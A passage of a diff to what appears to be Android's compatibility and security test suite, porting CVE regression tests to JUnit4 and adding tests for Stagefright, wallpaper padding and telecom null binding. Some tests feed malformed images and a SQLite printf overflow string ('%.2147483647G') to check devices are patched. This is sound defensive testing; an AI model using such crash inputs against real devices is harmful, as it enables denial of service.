     public void testCrash() throws Exception {
         try {
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index 8405acc..293200e 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -19,11 +19,17 @@
 import android.app.ActivityManager;
 import android.content.Context;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
 
 import java.util.List;
 
-public class RunningAppProcessInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase {
     /*
      * This test verifies severity vulnerability: apps can bypass the L restrictions in
      * getRunningTasks()is fixed. The test tries to get current RunningAppProcessInfo and passes
@@ -31,9 +37,10 @@
      */
 
     @AsbSecurityTest(cveBugId = 20034603)
+    @Test
     public void testRunningAppProcessInfo() {
         ActivityManager amActivityManager =
-                (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+                (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE);
         List<ActivityManager.RunningAppProcessInfo> appList =
                 amActivityManager.getRunningAppProcesses();
         // The test will pass if it is able to get only its process info
diff --git a/tests/tests/security/src/android/security/cts/SQLiteTest.java b/tests/tests/security/src/android/security/cts/SQLiteTest.java
index a3a14d4..84d36fa 100644
--- a/tests/tests/security/src/android/security/cts/SQLiteTest.java
+++ b/tests/tests/security/src/android/security/cts/SQLiteTest.java
@@ -28,14 +28,21 @@
 import android.net.Uri;
 import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.VoicemailContract;
-import android.test.AndroidTestCase;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.File;
 import java.io.FileInputStream;
 
-public class SQLiteTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class SQLiteTest extends StsExtraBusinessLogicTestCase {
     private static final String DATABASE_FILE_NAME = "database_test.db";
 
     private ContentResolver mResolver;
@@ -44,9 +51,8 @@
 
     private SQLiteDatabase mDatabase;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mResolver = getContext().getContentResolver();
         mContext = InstrumentationRegistry.getTargetContext();
         mPackageName = mContext.getPackageName();
@@ -62,6 +68,7 @@
      * b/139186193
      */
     @AsbSecurityTest(cveBugId = 139186193)
+    @Test
     public void test_android_cve_2019_2195() {
         Uri uri = VoicemailContract.Voicemails.CONTENT_URI;
         uri = uri.buildUpon().appendQueryParameter("source_package", mPackageName).build();
@@ -99,6 +106,7 @@
      * b/153352319
      */
     @AsbSecurityTest(cveBugId = 153352319)
+    @Test
     public void test_android_float_to_text_conversion_overflow() {
         String create_cmd = "select (printf('%.2147483647G',0.01));";
         try (Cursor c = mDatabase.rawQuery(create_cmd, null)) {
diff --git a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
index 7e6fb7c..2765de4 100644
--- a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
+++ b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
@@ -15,33 +15,35 @@
  */
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.content.ComponentName;
 import android.content.Intent;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
 import android.content.pm.PackageManager;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
-public class STKFrameworkTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class STKFrameworkTest extends StsExtraBusinessLogicTestCase {
     private boolean mHasTelephony;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mHasTelephony = getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_TELEPHONY);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
     /*
      * Verifies commands Intercepting which has been sent from SIM card to Telephony using
      * zero-permission malicious application
      */
     @AsbSecurityTest(cveBugId = 21697171)
+    @Test
     public void testInterceptedSIMCommandsToTelephony() {
         if (!mHasTelephony) {
             return;
@@ -54,7 +56,7 @@
                 ComponentName.unflattenFromString("com.android.stk/com.android.stk.StkCmdReceiver");
         intent.setComponent(cn);
         try {
-            mContext.sendBroadcast(intent);
+            getInstrumentation().getContext().sendBroadcast(intent);
             fail("Able to send broadcast which can be received by any app which has registered " +
                     "broadcast for action 'com.android.internal.stk.command' since it is not " +
                     "protected with any permission. Device is vulnerable to CVE-2015-3843.");
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 4a9802f..de6a9ac 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -19,26 +19,33 @@
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 import android.platform.test.annotations.AsbSecurityTest;
 
-public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SkiaICORecursiveDecodingTest extends StsExtraBusinessLogicTestCase {
 
     @AsbSecurityTest(cveBugId = 73782357)
+    @Test
     public void testAndroid_cve_2017_13318() {
         doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
     }
 
     @AsbSecurityTest(cveBugId = 17262540)
+    @Test
     public void test_android_bug_17262540() {
         doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
     }
 
     @AsbSecurityTest(cveBugId = 17265466)
+    @Test
     public void test_android_bug_17265466() {
         doSkiaIcoRecursiveDecodingTest(R.raw.bug_17265466);
     }
@@ -47,7 +54,7 @@
      * Verifies that the device prevents recursive decoding of malformed ICO files
      */
     public void doSkiaIcoRecursiveDecodingTest(int resId) {
-        InputStream exploitImage = mContext.getResources().openRawResource(resId);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
         /**
          * The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
          * while decoding the exploit image which will lead to process crash
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 6820f2c..af5fb29 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,6 +22,7 @@
  */
 package android.security.cts;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
@@ -100,20 +101,14 @@
  */
 @AppModeFull
 @RunWith(AndroidJUnit4.class)
-public class StagefrightTest {
+public class StagefrightTest extends StsExtraBusinessLogicTestCase {
     static final String TAG = "StagefrightTest";
-    private Instrumentation mInstrumentation;
 
     private final long TIMEOUT_NS = 10000000000L;  // 10 seconds.
     private final static long CHECK_INTERVAL = 50;
 
     @Rule public TestName name = new TestName();
 
-    @Before
-    public void setup() {
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
-    }
-
     class CodecConfig {
         boolean isAudio;
         /* Video Parameters - valid only when isAudio is false */
@@ -1821,6 +1816,12 @@
      before any existing test methods
      ***********************************************************/
     @Test
+    @AsbSecurityTest(cveBugId = 157906313)
+    public void testStagefright_cve_2020_11135() throws Exception {
+        doStagefrightTest(R.raw.cve_2020_11135);
+    }
+
+    @Test
     @AsbSecurityTest(cveBugId = 136175447)
     public void testStagefright_cve_2019_2186() throws Exception {
         long end = System.currentTimeMillis() + 180000; // 3 minutes from now
@@ -3259,8 +3260,4 @@
 
         assertFalse(hung);
     }
-
-    private Instrumentation getInstrumentation() {
-        return mInstrumentation;
-    }
 }
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index 3be7534..945d119 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -22,22 +22,25 @@
 import android.media.audiofx.AudioEffect;
 import android.media.MediaPlayer;
 import android.media.audiofx.Visualizer;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.util.Log;
 
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Method;
 import java.util.UUID;
 
+import static org.junit.Assert.*;
 
-public class VisualizerEffectTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class VisualizerEffectTest extends StsExtraBusinessLogicTestCase {
     private String TAG = "VisualizerEffectTest";
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
 
     //Testing security bug: 30229821
+    @Test
     @AsbSecurityTest(cveBugId = 30229821)
     public void testVisualizer_MalformedConstructor() throws Exception {
         final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
@@ -80,4 +83,4 @@
             Log.w(TAG,"No visualizer found to test");
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
new file mode 100644
index 0000000..fda462b
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+
+import android.Manifest;
+import android.app.WallpaperManager;
+import android.content.Context;
+import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.view.Display;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import org.junit.After;
+import org.junit.Before;
+
+public class WallpaperManagerTest extends CtsAndroidTestCase {
+
+    @Before
+    public void setUp() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.SET_WALLPAPER_HINTS);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    // b/204316511
+    @AsbSecurityTest(cveBugId = 204316511)
+    public void testSetDisplayPadding() {
+        WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+
+        Rect validRect = new Rect(1, 1, 1, 1);
+        // This should work, no exception expected
+        wallpaperManager.setDisplayPadding(validRect);
+
+        Rect negativeRect = new Rect(-1, 0 , 0, 0);
+        try {
+            wallpaperManager.setDisplayPadding(negativeRect);
+            fail("setDisplayPadding should fail for a Rect with negative values");
+        } catch (IllegalArgumentException e) {
+            // Expected exception
+        }
+
+        DisplayManager dm = getContext().getSystemService(DisplayManager.class);
+        Display primaryDisplay = dm.getDisplay(DEFAULT_DISPLAY);
+        Context windowContext = getContext().createWindowContext(primaryDisplay,
+                TYPE_APPLICATION, null);
+        Display display = windowContext.getDisplay();
+
+        Rect tooWideRect = new Rect(0, 0, display.getMaximumSizeDimension() + 1, 0);
+        try {
+            wallpaperManager.setDisplayPadding(tooWideRect);
+            fail("setDisplayPadding should fail for a Rect width larger than "
+                    + display.getMaximumSizeDimension());
+        } catch (IllegalArgumentException e) {
+            // Expected exception
+        }
+
+        Rect tooHighRect = new Rect(0, 0, 0, display.getMaximumSizeDimension() + 1);
+        try {
+            wallpaperManager.setDisplayPadding(tooHighRect);
+            fail("setDisplayPadding should fail for a Rect height larger than "
+                    + display.getMaximumSizeDimension());
+        } catch (IllegalArgumentException e) {
+            // Expected exception
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index 5cc4fe5..af28a54 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -19,22 +19,30 @@
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
-public class ZeroHeightTiffTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ZeroHeightTiffTest extends StsExtraBusinessLogicTestCase {
     /**
      * Verifies that the device fails to decode a zero height tiff file.
      *
      * Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
      * With the fix, decoding will fail, without dividing by zero.
      */
+    @Test
     @AsbSecurityTest(cveBugId = 33300701)
     public void test_android_bug_33300701() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33300701);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
         assertNull(bitmap);
     }
diff --git a/tests/tests/selinux/OWNERS b/tests/tests/selinux/OWNERS
index 8824b03..20c32c2 100644
--- a/tests/tests/selinux/OWNERS
+++ b/tests/tests/selinux/OWNERS
@@ -1,4 +1,3 @@
 # Bug component: 85141
 jeffv@google.com
 jgalenson@google.com
-nnk@google.com
diff --git a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
index b6103c8..ea0e789 100644
--- a/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
+++ b/tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java
@@ -67,6 +67,13 @@
 
         assumeFalse("Skipping test: The device does not support Activity embedding",
                 !mIsSplitSupported && mDeepLinkIntentResolveInfo == null);
+
+        // TODO(b/214606992): Remove this check once automotive support was implemented.
+        assumeFalse("Skipping test: not supported on automotive yet",
+                mDeepLinkIntentResolveInfo == null
+                        && InstrumentationRegistry.getInstrumentation().getContext()
+                                .getPackageManager()
+                                .hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
     }
 
     @Test
diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp
index 0d28f65..fc48c72 100644
--- a/tests/tests/systemui/Android.bp
+++ b/tests/tests/systemui/Android.bp
@@ -19,8 +19,10 @@
 android_test {
     name: "CtsSystemUiTestCases",
     defaults: ["cts_defaults"],
+    min_sdk_version: "27",
     test_suites: [
         "cts",
+        "gts",
         "general-tests",
     ],
 
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index f55ed3f..c1c0a31 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -18,6 +18,9 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="android.systemui.cts"
      android:targetSandboxVersion="2">
+
+    <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="17" />
+
     <uses-permission android:name="android.permission.INJECT_EVENTS"/>
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-permission android:name="android.permission.READ_DREAM_STATE"/>
diff --git a/tests/tests/systemui/AndroidTest.xml b/tests/tests/systemui/AndroidTest.xml
index 74876ae..7a84857 100644
--- a/tests/tests/systemui/AndroidTest.xml
+++ b/tests/tests/systemui/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS SystemUI test cases">
     <option name="test-suite-tag" value="cts" />
+    <option name="test-suite-tag" value="gts" />
     <option name="config-descriptor:metadata" key="component" value="sysui" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
diff --git a/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
index 3737637..41b247c 100644
--- a/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
+++ b/tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp
@@ -24,6 +24,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "gts",
         "vts10",
         "general-tests",
     ],
diff --git a/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
index af7f01c..76b1250 100644
--- a/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
+++ b/tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp
@@ -24,6 +24,7 @@
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "gts",
         "vts10",
         "general-tests",
     ],
diff --git a/tests/tests/systemui/PipTestApp/Android.bp b/tests/tests/systemui/PipTestApp/Android.bp
index b8219c8..5b7b4d9 100644
--- a/tests/tests/systemui/PipTestApp/Android.bp
+++ b/tests/tests/systemui/PipTestApp/Android.bp
@@ -36,6 +36,7 @@
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "gts",
         "vts10",
         "general-tests",
     ],
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index b5e657c..1f0369a 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -46,6 +46,7 @@
 import android.graphics.Point;
 import android.graphics.Rect;
 import android.hardware.display.DisplayManager;
+import android.os.Build;
 import android.os.Bundle;
 import android.provider.DeviceConfig;
 import android.support.test.uiautomator.By;
@@ -64,6 +65,8 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CtsDownstreamingTest;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.ThrowingRunnable;
 
@@ -600,9 +603,11 @@
     /**
      * @throws Throwable when setting the property goes wrong.
      */
+    @CtsDownstreamingTest
     @Test
     public void systemGesture_excludeViewRects_withoutAnyCancel()
             throws Throwable {
+        assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S_V2));
         assumeTrue(hasSystemGestureFeature());
 
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
@@ -635,8 +640,10 @@
         assertEquals(swipeCount[0], mActionDownPoints.size());
     }
 
+    @CtsDownstreamingTest
     @Test
     public void systemGesture_notExcludeViewRects_withoutAnyCancel() {
+        assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S_V2));
         assumeTrue(hasSystemGestureFeature());
 
         mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 96a07b3..1b1d48e 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -79,6 +79,14 @@
             </intent-filter>
         </service>
 
+        <service android:name="android.telecom.cts.NullBindingConnectionService"
+                 android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.telecom.ConnectionService"/>
+            </intent-filter>
+        </service>
+
         <service android:name="android.telecom.cts.MockInCallService"
              android:permission="android.permission.BIND_INCALL_SERVICE"
              android:exported="true">
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
new file mode 100644
index 0000000..1debb7a
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A minimal {@link Service} implementation intended to test cases where a {@link ConnectionService}
+ * tries to return a null binding.
+ */
+public class NullBindingConnectionService extends Service {
+    public static CountDownLatch sBindLatch = new CountDownLatch(1);
+    public static CountDownLatch sUnbindLatch = new CountDownLatch(1);
+
+    public NullBindingConnectionService() {
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        sBindLatch.countDown();
+        sUnbindLatch = new CountDownLatch(1);
+        return null;
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        sUnbindLatch.countDown();
+        sBindLatch = new CountDownLatch(1);
+        return false;
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
new file mode 100644
index 0000000..611eeab
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.content.ComponentName;
+import android.net.Uri;
+import android.os.Bundle;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+/**
+ * CTS tests to ensure that a ConnectionService which returns a null binding will be automatically
+ * unbound.
+ */
+
+public class NullBindingTest extends BaseTelecomTestWithMockServices {
+    private static final PhoneAccountHandle TEST_NULL_BINDING_HANDLE =
+            new PhoneAccountHandle(new ComponentName("android.telecom.cts",
+                    "android.telecom.cts.NullBindingConnectionService"),
+                    "1");
+
+    public static final PhoneAccount TEST_NULL_BINDING_ACCOUNT = PhoneAccount.builder(
+                    TEST_NULL_BINDING_HANDLE, "Null")
+            .setAddress(Uri.parse("sip:test@test.com"))
+            .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+            .build();
+
+    private static final Uri TEST_ADDRESS_1 = Uri.fromParts("sip", "call1@test.com", null);
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getContext();
+        if (mShouldTestTelecom) {
+            mTelecomManager.registerPhoneAccount(TEST_NULL_BINDING_ACCOUNT);
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        if (mShouldTestTelecom) {
+            mTelecomManager.unregisterPhoneAccount(TEST_NULL_BINDING_HANDLE);
+        }
+    }
+
+    /**
+     * Ensures that when we bind to a ConnectionService which returns a null binding that the
+     * ConnectionService is unbound automatically.
+     */
+    public void testNullBinding() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Place a call using the null binding connection service.
+        Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, TEST_NULL_BINDING_HANDLE);
+        mTelecomManager.placeCall(TEST_ADDRESS_1, extras);
+
+        // Ensure it bound and then unbound.
+        assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sBindLatch));
+        assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sUnbindLatch));
+
+        // Ensure there is no call present in Telecom
+        assertFalse(mTelecomManager.isInCall());
+    }
+}
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java
index 839a290..7f17563 100644
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java
@@ -31,6 +31,7 @@
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+        overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out);
         setContentView(R.layout.ui_automation_test);
 
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
diff --git a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java
index 4ba0f74..5a0b6d8 100644
--- a/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java
+++ b/tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java
@@ -30,6 +30,7 @@
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+        overridePendingTransition(android.R.anim.fade_in, android.R.anim.fade_out);
         setContentView(R.layout.ui_automation_test);
 
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index dbfcfa2..e658152 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -24,7 +24,9 @@
 import android.util.Base64;
 import android.view.MotionEvent;
 import android.view.ViewGroup;
+import android.view.ViewParent;
 import android.webkit.ConsoleMessage;
+import android.view.ViewParent;
 import android.webkit.JsPromptResult;
 import android.webkit.JsResult;
 import android.webkit.WebIconDatabase;
@@ -437,6 +439,7 @@
         private boolean mHadOnCreateWindow;
         private boolean mHadOnRequestFocus;
         private boolean mHadOnReceivedIcon;
+        private WebView mChildWebView;
 
         public MockWebChromeClient() {
             super(mOnUiThread);
@@ -548,6 +551,15 @@
         public void onCloseWindow(WebView window) {
             super.onCloseWindow(window);
             mHadOnCloseWindow = true;
+
+            if (mChildWebView != null) {
+                ViewParent parent =  mChildWebView.getParent();
+                if (parent instanceof ViewGroup) {
+                    ((ViewGroup) parent).removeView(mChildWebView);
+                }
+                mChildWebView.destroy();
+            }
+
         }
 
         @Override
@@ -561,12 +573,12 @@
             if (mBlockWindowCreationAsync) {
                 transport.setWebView(null);
             } else {
-                WebView childView = new WebView(getActivity());
-                final WebSettings settings = childView.getSettings();
+                mChildWebView = new WebView(getActivity());
+                final WebSettings settings = mChildWebView.getSettings();
                 settings.setJavaScriptEnabled(true);
-                childView.setWebChromeClient(this);
-                transport.setWebView(childView);
-                getActivity().addContentView(childView, new ViewGroup.LayoutParams(
+                mChildWebView.setWebChromeClient(this);
+                transport.setWebView(mChildWebView);
+                getActivity().addContentView(mChildWebView, new ViewGroup.LayoutParams(
                         ViewGroup.LayoutParams.FILL_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT));
             }
             resultMsg.sendToTarget();
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
index 98ab11d..c845138 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
@@ -146,7 +146,7 @@
                 wifiManager.unregisterScanResultsCallback(scanResultsCallback);
             }
             List<ScanResult> scanResults = wifiManager.getScanResults();
